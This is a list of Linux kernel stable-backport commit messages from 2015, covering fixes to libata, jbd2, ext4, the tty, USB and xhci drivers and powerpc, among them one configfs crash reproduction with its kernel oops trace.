Gabriele Mazzotta [Sat, 25 Apr 2015 17:52:37 +0000 (19:52 +0200)]
libata: Ignore spurious PHY event on LPM policy change
commit
09c5b4803a80a5451d950d6a539d2eb311dc0fb1 upstream.
When the LPM policy is set to ATA_LPM_MAX_POWER, the device might
generate a spurious PHY event that cuases errors on the link.
Ignore this event if it occured within 10s after the policy change.
The timeout was chosen observing that on a Dell XPS13 9333 these
spurious events can occur up to roughly 6s after the policy change.
Link: http://lkml.kernel.org/g/3352987.ugV1Ipy7Z5@xps13
Signed-off-by: Gabriele Mazzotta <gabriele.mzt@gmail.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Gabriele Mazzotta [Sat, 25 Apr 2015 17:52:36 +0000 (19:52 +0200)]
libata: Add helper to determine when PHY events should be ignored
commit
8393b811f38acdf7fd8da2028708edad3e68ce1f upstream.
This is a preparation commit that will allow to add other criteria
according to which PHY events should be dropped.
Signed-off-by: Gabriele Mazzotta <gabriele.mzt@gmail.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Darrick J. Wong [Thu, 14 May 2015 23:11:50 +0000 (19:11 -0400)]
jbd2: fix r_count overflows leading to buffer overflow in journal recovery
commit
e531d0bceb402e643a4499de40dd3fa39d8d2e43 upstream.
The journal revoke block recovery code does not check r_count for
sanity, which means that an evil value of r_count could result in
the kernel reading off the end of the revoke table and into whatever
garbage lies beyond. This could crash the kernel, so fix that.
However, in testing this fix, I discovered that the code to write
out the revoke tables also was not correctly checking to see if the
block was full -- the current offset check is fine so long as the
revoke table space size is a multiple of the record size, but this
is not true when either journal_csum_v[23] are set.
Signed-off-by: Darrick J. Wong <darrick.wong@oracle.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
Reviewed-by: Jan Kara <jack@suse.cz>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Eryu Guan [Thu, 14 May 2015 23:00:45 +0000 (19:00 -0400)]
ext4: check for zero length extent explicitly
commit
2f974865ffdfe7b9f46a9940836c8b167342563d upstream.
The following commit introduced a bug when checking for zero length extent
5946d08 ext4: check for overlapping extents in ext4_valid_extent_entries()
Zero length extent could pass the check if lblock is zero.
Adding the explicit check for zero length back.
Signed-off-by: Eryu Guan <guaneryu@gmail.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Lukas Czerner [Thu, 14 May 2015 22:55:18 +0000 (18:55 -0400)]
ext4: fix NULL pointer dereference when journal restart fails
commit
9d506594069355d1fb2de3f9104667312ff08ed3 upstream.
Currently when journal restart fails, we'll have the h_transaction of
the handle set to NULL to indicate that the handle has been effectively
aborted. We handle this situation quietly in the jbd2_journal_stop() and just
free the handle and exit because everything else has been done before we
attempted (and failed) to restart the journal.
Unfortunately there are a number of problems with that approach
introduced with commit
41a5b913197c "jbd2: invalidate handle if jbd2_journal_restart()
fails"
First of all in ext4 jbd2_journal_stop() will be called through
__ext4_journal_stop() where we would try to get a hold of the superblock
by dereferencing h_transaction which in this case would lead to NULL
pointer dereference and crash.
In addition we're going to free the handle regardless of the refcount
which is bad as well, because others up the call chain will still
reference the handle so we might potentially reference already freed
memory.
Moreover it's expected that we'll get aborted handle as well as detached
handle in some of the journalling function as the error propagates up
the stack, so it's unnecessary to call WARN_ON every time we get
detached handle.
And finally we might leak some memory by forgetting to free reserved
handle in jbd2_journal_stop() in the case where handle was detached from
the transaction (h_transaction is NULL).
Fix the NULL pointer dereference in __ext4_journal_stop() by just
calling jbd2_journal_stop() quietly as suggested by Jan Kara. Also fix
the potential memory leak in jbd2_journal_stop() and use proper
handle refcounting before we attempt to free it to avoid use-after-free
issues.
And finally remove all WARN_ON(!transaction) from the code so that we do
not get random traces when something goes wrong because when journal
restart fails we will get to some of those functions.
Signed-off-by: Lukas Czerner <lczerner@redhat.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
Reviewed-by: Jan Kara <jack@suse.cz>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Pan Xinhui [Sat, 28 Mar 2015 02:42:56 +0000 (10:42 +0800)]
tty/n_gsm.c: fix a memory leak when gsmtty is removed
commit
8f9cfeed3eae86c70d3b04445a6f2036b27b6304 upstream.
when gsmtty_remove put dlci, it will cause memory leak if dlci->port's refcount is zero.
So we do the cleanup work in .cleanup callback instead.
dlci will be last put in two call chains.
1) gsmld_close -> gsm_cleanup_mux -> gsm_dlci_release -> dlci_put
2) gsmld_remove -> dlci_put
so there is a race. the memory leak depends on the race.
In call chain 2. we hit the memory leak. below comment tells.
release_tty -> tty_driver_remove_tty -> gsmtty_remove -> dlci_put -> tty_port_destructor (WARN_ON(port->itty) and return directly)
|
tty->port->itty = NULL;
|
tty_kref_put ---> release_one_tty -> gsmtty_cleanup (added by our patch)
So our patch fix the memory leak by doing the cleanup work after tty core did.
Signed-off-by: Pan Xinhui <xinhuix.pan@intel.com>
Fixes: dfabf7ffa30585
Acked-by: Jiri Slaby <jslaby@suse.cz>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Ludovic Desroches [Wed, 6 May 2015 13:16:46 +0000 (15:16 +0200)]
mmc: atmel-mci: fix bad variable type for clkdiv
commit
60c8f783a18feb95ad967c87e9660caf09fb4700 upstream.
clkdiv is declared as an u32 but it can be set to a negative value
causing a huge divisor value. Change its type to int to avoid this case.
Signed-off-by: Ludovic Desroches <ludovic.desroches@atmel.com>
Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Anton Blanchard [Thu, 14 May 2015 04:45:40 +0000 (14:45 +1000)]
powerpc: Align TOC to 256 bytes
commit
5e95235ccd5442d4a4fe11ec4eb99ba1b7959368 upstream.
Recent toolchains force the TOC to be 256 byte aligned. We need
to enforce this alignment in our linker script, otherwise pointers
to our TOC variables (__toc_start, __prom_init_toc_start) could
be incorrect.
If they are bad, we die a few hundred instructions into boot.
Signed-off-by: Anton Blanchard <anton@samba.org>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Krzysztof Opasiak [Fri, 20 Mar 2015 14:48:56 +0000 (15:48 +0100)]
usb: gadget: configfs: Fix interfaces array NULL-termination
commit
903124fe1aa284f61745a9dd4fbfa0184e569fff upstream.
memset() to 0 interfaces array before reusing
usb_configuration structure.
This commit fix bug:
ln -s functions/acm.1 configs/c.1
ln -s functions/acm.2 configs/c.1
ln -s functions/acm.3 configs/c.1
echo "UDC name" > UDC
echo "" > UDC
rm configs/c.1/acm.*
rmdir functions/*
mkdir functions/ecm.usb0
ln -s functions/ecm.usb0 configs/c.1
echo "UDC name" > UDC
[ 82.220969] Unable to handle kernel NULL pointer dereference at virtual address
00000000
[ 82.229009] pgd =
c0004000
[ 82.231698] [
00000000] *pgd=
00000000
[ 82.235260] Internal error: Oops: 17 [#1] PREEMPT SMP ARM
[ 82.240638] Modules linked in:
[ 82.243681] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.0.0-rc2 #39
[ 82.249926] Hardware name: SAMSUNG EXYNOS (Flattened Device Tree)
[ 82.256003] task:
c07cd2f0 ti:
c07c8000 task.ti:
c07c8000
[ 82.261393] PC is at composite_setup+0xe3c/0x1674
[ 82.266073] LR is at composite_setup+0xf20/0x1674
[ 82.270760] pc : [<
c03510d4>] lr : [<
c03511b8>] psr:
600001d3
[ 82.270760] sp :
c07c9df0 ip :
c0806448 fp :
ed8c9c9c
[ 82.282216] r10:
00000001 r9 :
00000000 r8 :
edaae918
[ 82.287425] r7 :
ed551cc0 r6 :
00007fff r5 :
00000000 r4 :
ed799634
[ 82.293934] r3 :
00000003 r2 :
00010002 r1 :
edaae918 r0 :
0000002e
[ 82.300446] Flags: nZCv IRQs off FIQs off Mode SVC_32 ISA ARM Segment kernel
[ 82.307910] Control:
10c5387d Table:
6bc1804a DAC:
00000015
[ 82.313638] Process swapper/0 (pid: 0, stack limit = 0xc07c8210)
[ 82.319627] Stack: (0xc07c9df0 to 0xc07ca000)
[ 82.323969] 9de0:
00000000 c06e65f4 00000000 c07c9f68
[ 82.332130] 9e00:
00000067 c07c59ac 000003f7 edaae918 ed8c9c98 ed799690 eca2f140 200001d3
[ 82.340289] 9e20:
ee79a2d8 c07c9e88 c07c5304 ffff55db 00010002 edaae810 edaae860 eda96d50
[ 82.348448] 9e40:
00000009 ee264510 00000007 c07ca444 edaae860 c0340890 c0827a40 ffff55e0
[ 82.356607] 9e60:
c0827a40 eda96e40 ee264510 edaae810 00000000 edaae860 00000007 c07ca444
[ 82.364766] 9e80:
edaae860 c0354170 c03407dc c033db4c edaae810 00000000 00000000 00000010
[ 82.372925] 9ea0:
00000032 c0341670 00000000 00000000 00000001 eda96e00 00000000 00000000
[ 82.381084] 9ec0:
00000000 00000032 c0803a23 ee1aa840 00000001 c005d54c 249e2450 00000000
[ 82.389244] 9ee0:
200001d3 ee1aa840 ee1aa8a0 ed84f4c0 00000000 c07c9f68 00000067 c07c59ac
[ 82.397403] 9f00:
00000000 c005d688 ee1aa840 ee1aa8a0 c07db4b4 c006009c 00000032 00000000
[ 82.405562] 9f20:
00000001 c005ce20 c07c59ac c005cf34 f002000c c07ca780 c07c9f68 00000057
[ 82.413722] 9f40:
f0020000 413fc090 00000001 c00086b4 c000f804 60000053 ffffffff c07c9f9c
[ 82.421880] 9f60:
c0803a20 c0011fc0 00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c
[ 82.430040] 9f80:
c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0
[ 82.438199] 9fa0:
c000f800 c000f804 60000053 ffffffff 00000000 c0050e70 c0803bc0 c0783bd8
[ 82.446358] 9fc0:
ffffffff ffffffff c0783664 00000000 00000000 c07b13e8 00000000 c0803e54
[ 82.454517] 9fe0:
c07ca480 c07b13e4 c07ce40c 4000406a 00000000 40008074 00000000 00000000
[ 82.462689] [<
c03510d4>] (composite_setup) from [<
c0340890>] (s3c_hsotg_complete_setup+0xb4/0x418)
[ 82.471626] [<
c0340890>] (s3c_hsotg_complete_setup) from [<
c0354170>] (usb_gadget_giveback_request+0xc/0x10)
[ 82.481429] [<
c0354170>] (usb_gadget_giveback_request) from [<
c033db4c>] (s3c_hsotg_complete_request+0xcc/0x12c)
[ 82.491583] [<
c033db4c>] (s3c_hsotg_complete_request) from [<
c0341670>] (s3c_hsotg_irq+0x4fc/0x558)
[ 82.500614] [<
c0341670>] (s3c_hsotg_irq) from [<
c005d54c>] (handle_irq_event_percpu+0x50/0x150)
[ 82.509291] [<
c005d54c>] (handle_irq_event_percpu) from [<
c005d688>] (handle_irq_event+0x3c/0x5c)
[ 82.518145] [<
c005d688>] (handle_irq_event) from [<
c006009c>] (handle_fasteoi_irq+0xd4/0x18c)
[ 82.526650] [<
c006009c>] (handle_fasteoi_irq) from [<
c005ce20>] (generic_handle_irq+0x20/0x30)
[ 82.535242] [<
c005ce20>] (generic_handle_irq) from [<
c005cf34>] (__handle_domain_irq+0x6c/0xdc)
[ 82.543923] [<
c005cf34>] (__handle_domain_irq) from [<
c00086b4>] (gic_handle_irq+0x2c/0x6c)
[ 82.552256] [<
c00086b4>] (gic_handle_irq) from [<
c0011fc0>] (__irq_svc+0x40/0x74)
[ 82.559716] Exception stack(0xc07c9f68 to 0xc07c9fb0)
[ 82.564753] 9f60:
00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c
[ 82.572913] 9f80:
c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0
[ 82.581069] 9fa0:
c000f800 c000f804 60000053 ffffffff
[ 82.586113] [<
c0011fc0>] (__irq_svc) from [<
c000f804>] (arch_cpu_idle+0x30/0x3c)
[ 82.593491] [<
c000f804>] (arch_cpu_idle) from [<
c0050e70>] (cpu_startup_entry+0x128/0x1a4)
[ 82.601740] [<
c0050e70>] (cpu_startup_entry) from [<
c0783bd8>] (start_kernel+0x350/0x3bc)
[ 82.609890] Code:
0a000002 e3530005 05975010 15975008 (
e5953000)
[ 82.615965] ---[ end trace
f57d5f599a5f1bfa ]---
Most of kernel code assume that interface array in
struct usb_configuration is NULL terminated.
When gadget is composed with configfs configuration
structure may be reused for different functions set.
This bug happens because purge_configs_funcs() sets
only next_interface_id to 0. Interface array still
contains pointers to already freed interfaces. If in
second try we add less interfaces than earlier we
may access unallocated memory when trying to get
interface descriptors.
Signed-off-by: Krzysztof Opasiak <k.opasiak@samsung.com>
Signed-off-by: Felipe Balbi <balbi@ti.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Hans de Goede [Thu, 30 Apr 2015 09:09:44 +0000 (11:09 +0200)]
usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices
commit
172115090f5e739660b97694618a2ba86457063a upstream.
Without this flag some versions of these enclosures do not work.
Reported-and-tested-by: Christian Schaller <cschalle@redhat.com>
Signed-off-by: Hans de Goede <hdegoede@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Mark Edwards [Tue, 14 Apr 2015 12:52:34 +0000 (08:52 -0400)]
USB: cp210x: add ID for KCF Technologies PRN device
commit
c735ed74d83f8ecb45c4c4c95a16853c9c3c8157 upstream.
Added the USB serial console device ID for KCF Technologies PRN device
which has a USB port for its serial console.
Signed-off-by: Mark Edwards <sonofaforester@gmail.com>
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jason A. Donenfeld [Wed, 22 Apr 2015 12:35:08 +0000 (14:35 +0200)]
USB: pl2303: Remove support for Samsung I330
commit
48ef23a4f686b1e4519d4193c20d26834ff810ff upstream.
This phone is already supported by the visor driver.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jason A. Donenfeld [Wed, 22 Apr 2015 12:35:09 +0000 (14:35 +0200)]
USB: visor: Match I330 phone more precisely
commit
82ee3aeb9295c5fc37fd2ddf20f13ac2b40ec97d upstream.
Samsung has just released a portable USB3 SSD, coming in a very small
and nice form factor. It's USB ID is 04e8:8001, which unfortunately is
already used by the Palm Visor driver for the Samsung I330 phone cradle.
Having pl2303 or visor pick up this device ID results in conflicts with
the usb-storage driver, which handles the newly released portable USB3
SSD.
To work around this conflict, I've dug up a mailing list post [1] from a
long time ago, in which a user posts the full USB descriptor
information. The most specific value in this appears to be the interface
class, which has value 255 (0xff). Since usb-storage requires an
interface class of 0x8, I believe it's correct to disambiguate the two
devices by matching on 0xff inside visor.
[1] http://permalink.gmane.org/gmane.linux.usb.user/4264
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Joe Lawrence [Thu, 30 Apr 2015 14:16:04 +0000 (17:16 +0300)]
xhci: gracefully handle xhci_irq dead device
commit
948fa13504f80b9765d2b753691ab94c83a10341 upstream.
If the xHCI host controller has died (ie, device removed) or suffered
other serious fatal error (STS_FATAL), then xhci_irq should handle this
condition with IRQ_HANDLED instead of -ESHUTDOWN.
Signed-off-by: Joe Lawrence <joe.lawrence@stratus.com>
Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Mathias Nyman [Thu, 30 Apr 2015 14:16:03 +0000 (17:16 +0300)]
xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256
commit
18cc2f4cbbaf825a4fedcf2d60fd388d291e0a38 upstream.
Our event ring consists of only one segment, and we risk filling
the event ring in case we get isoc transfers with short intervals
such as webcams that fill a TD every microframe (125us)
With 64 TRB segment size one usb camera could fill the event ring in 8ms.
A setup with several cameras and other devices can fill up the
event ring as it is shared between all devices.
This has occurred when uvcvideo queues 5 * 32TD URBs which then
get cancelled when the video mode changes. The cancelled URBs are returned
in the xhci interrupt context and blocks the interrupt handler from
handling the new events.
A full event ring will block xhci from scheduling traffic and affect all
devices conneted to the xhci, will see errors such as Missed Service
Intervals for isoc devices, and and Split transaction errors for LS/FS
interrupt devices.
Increasing the TRB_PER_SEGMENT will also increase the default endpoint ring
size, which is welcome as for most isoc transfer we had to dynamically
expand the endpoint ring anyway to be able to queue the 5 * 32TDs uvcvideo
queues.
The default size used to be 64 TRBs per segment
Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>